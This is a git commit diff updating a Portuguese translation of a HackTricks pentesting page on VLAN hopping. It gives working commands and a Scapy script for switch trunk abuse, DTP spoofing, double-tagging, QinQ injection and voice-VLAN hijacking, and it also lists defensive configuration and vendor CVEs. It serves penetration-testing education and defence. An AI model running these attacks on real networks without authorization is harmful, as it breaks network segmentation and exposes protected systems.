Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:37:54 +00:00
parent 54dc577188
commit 42863abb36

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecendo interfaces virtuais para as VLANs alvo e definindo endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecer interfaces virtuais para as VLANs alvo e definir endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara **include**.
@ -24,6 +24,7 @@ Mudar para o modo trunk irá interromper temporariamente a conectividade, mas is
Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas:
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Em seguida, uma solicitação de endereço é feita via DHCP. Alternativamente, em casos onde o DHCP não é viável, os endereços podem ser configurados manualmente:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Exemplo de configuração manual de um endereço IP estático em uma interface (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
A conectividade é testada iniciando solicitações ICMP para os gateways padrão das VLANs 10, 20, 50 e 60.
@ -52,31 +62,38 @@ Em última análise, esse processo permite contornar a segmentação de VLAN, fa
## Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch)
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça um pivot lateral sem nunca fazer login no sistema operacional do switch:
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça pivotagem lateral sem nunca fazer login no sistema operacional do switch:
### 1. Spoofing de Switch com Protocolo de Trunking Dinâmico (DTP)
### 1. Switch-Spoofing com Protocolo de Trunking Dinâmico (DTP)
Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro **DTP “desejável”** ou **“trunk”** converte a porta de acesso em um trunk 802.1Q que transporta *todas* as VLANs permitidas.
*Yersinia* e vários PoCs automatizam o processo:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior. Kernels modernos do Linux não requerem mais *vconfig*; em vez disso, use *ip link*:
Recon helper (identificar passivamente o estado DTP da porta):
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Abuso de Native-VLAN)
Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *dois* cabeçalhos 802.1Q pode "pular" para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2024) automatizam a injeção:
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior.
### 2. Double-Tagging (Abuso de VLAN Nativa)
Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *duas* cabeçalhos 802.1Q pode pular para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2025) automatizam a injeção:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. A tag externo (1) é removido pelo primeiro switch porque corresponde à VLAN nativa.
2. A tag interna (20) agora está exposta; o quadro é encaminhado para o tronco em direção à VLAN 20.
A técnica ainda funciona em 2025 em redes que mantêm a VLAN nativa como padrão e aceitam quadros não marcados.
### 3. Empilhamento QinQ (802.1ad)
Muitos núcleos empresariais suportam encapsulamento de provedor de serviço *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy:
Muitos núcleos empresariais suportam encapsulamento de provedor de serviços *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego etiquetado com 802.1Q arbitrário dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para ethertype `0x88a8` e tente remover a etiqueta externa com Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. Sequestro de Voice-VLAN via LLDP/CDP (Spoofing de IP-Phone)
As portas de acesso corporativas geralmente estão em uma configuração *“acesso + voz”*: VLAN de dados não marcada para a estação de trabalho e uma VLAN de voz marcada anunciada através do CDP ou LLDP-MED. Ao se passar por um telefone IP, o atacante pode descobrir automaticamente e pular para a VLAN VoIP—mesmo quando o DTP está desativado.
*VoIP Hopper* (embalado no Kali 2025.2) suporta CDP, opções DHCP **176/242**, e spoofing completo de LLDP-MED:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
A técnica contorna a separação de dados/voz e é extremamente comum em switches de borda corporativos em 2025, pois o auto-política LLDP está habilitado por padrão em muitos modelos.
---
## Recomendações Defensivas
1. Desative o DTP em todas as portas voltadas para o usuário: `switchport mode access` + `switchport nonegotiate`.
2. Altere a VLAN nativa em cada trunk para uma **VLAN não utilizada, black-hole** e a marque: `vlan dot1q tag native`.
3. Remova VLANs desnecessárias nos trunks: `switchport trunk allowed vlan 10,20`.
4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades Layer-2 indesejadas.
5. Prefira private-VLANs ou segmentação L3 em vez de depender apenas da separação 802.1Q.
2. Altere a VLAN nativa em cada trunk para uma **VLAN de buraco negro não utilizada** e a marque: `vlan dot1q tag native`.
3. Prune VLANs desnecessárias em trunks: `switchport trunk allowed vlan 10,20`.
4. Aplique segurança de porta, DHCP snooping, inspeção dinâmica de ARP **e 802.1X** para limitar a atividade Layer-2 não autorizada.
5. Desative as políticas de voz automáticas LLDP-MED (ou bloqueie-as para MAC OUIs autenticados) se o spoofing de telefone IP não for necessário.
6. Prefira VLANs privadas ou segmentação L3 em vez de depender apenas da separação 802.1Q.
---
## Vulnerabilidades de Fornecedores no Mundo Real (2022-2024)
Mesmo uma configuração de switch perfeitamente endurecida pode ser comprometida por bugs de firmware. Exemplos recentes incluem:
* **CVE-2022-20728† Cisco Aironet/Catalyst Access Points** permitem injeção da VLAN nativa em VLANs WLAN não nativas, contornando a segmentação com fio/sem fio.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** permite contorno de ACLs em SVIs após alternar o Protocolo Ethernet Resiliente, vazando tráfego entre VRFs/VLANs. Patch 17.9.5 ou posterior.
Sempre monitore os avisos do fornecedor para problemas de contorno/ACL relacionados a VLAN e mantenha as imagens da infraestrutura atualizadas.
---
## Referências
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- Conjunto de ferramentas de ataque VLANPWN <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "O que é VLAN Hopping?" (Ago 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper project <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}